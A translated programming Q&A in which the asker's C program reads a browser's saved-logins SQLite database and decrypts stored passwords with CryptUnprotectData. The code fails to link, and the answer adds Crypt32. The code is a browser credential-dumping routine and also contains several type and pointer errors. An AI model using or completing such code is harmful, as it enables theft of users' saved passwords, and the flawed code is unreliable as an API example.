LNK1120 & LNK2019误差

Question

当我调试致命错误时，我正在尝试学习SQLite3 API。知道我将链接器配置为将其编译为控制台。

错误1错误LNK2019:函数_main ....\"filename".obj中引用的未解析外部符号_CryptUnprotectData@28 错误2错误LNK1120: 1未解决的外部调试\“文件名”.exe

以下是代码：

#include <stdio.h>
#include <conio.h>
#include "sqlite3.h"
#include <stdlib.h>
#include <Windows.h>


int  main()
    {


    sqlite3_initialize();
    sqlite3 *sqlHandle;
    int call;
    char *tail = NULL;
    sqlite3_stmt *stmt = NULL;
    const FILE *fileHandle = "C:\\Users\\"username"\\Desktop\\Data.sqlite";
    call = sqlite3_open_v2(fileHandle, &sqlHandle, SQLITE_OPEN_READONLY,NULL);
    if (call != SQLITE_OK)
        {
        sqlite3_close(sqlHandle);
        exit(EXIT_SUCCESS);
        }
    //preparing statement to be executed
    if (sqlite3_prepare_v2(sqlHandle, "SELECT action_url,username_value,password_value FROM logins", sizeof(char)*60, &stmt, &tail) != SQLITE_OK)
        {
        sqlite3_close(sqlHandle);
        printf("Can't retrieve data: %s\n", sqlite3_errmsg(sqlHandle));
        }


    CRYPT_INTEGER_BLOB *blob;
    CRYPT_INTEGER_BLOB *UnprotectedBlob = NULL;
    while (sqlite3_step(stmt) == SQLITE_ROW)
        {
        blob = sqlite3_column_text(stmt, 2);
        if (CryptUnprotectData(blob, NULL, NULL, NULL, NULL, 0, UnprotectedBlob))
            {
            printf("%s | %s | %s \n",
                sqlite3_column_text(stmt, 0),
                sqlite3_column_text(stmt, 1),
                UnprotectedBlob->cbData);
            }
        }

    sqlite3_finalize(stmt);
    sqlite3_close(sqlHandle);
    sqlite3_shutdown();
    _getch();
    return 1;
    }

Answer 1

您需要链接到CryptoAPI库。您可以通过链接器的项目属性(Configuration Properties > Linker > Input > Additional dependencies)或使用#pragma指令的代码来实现这一点。

#pragma comment(lib, "Crypt32")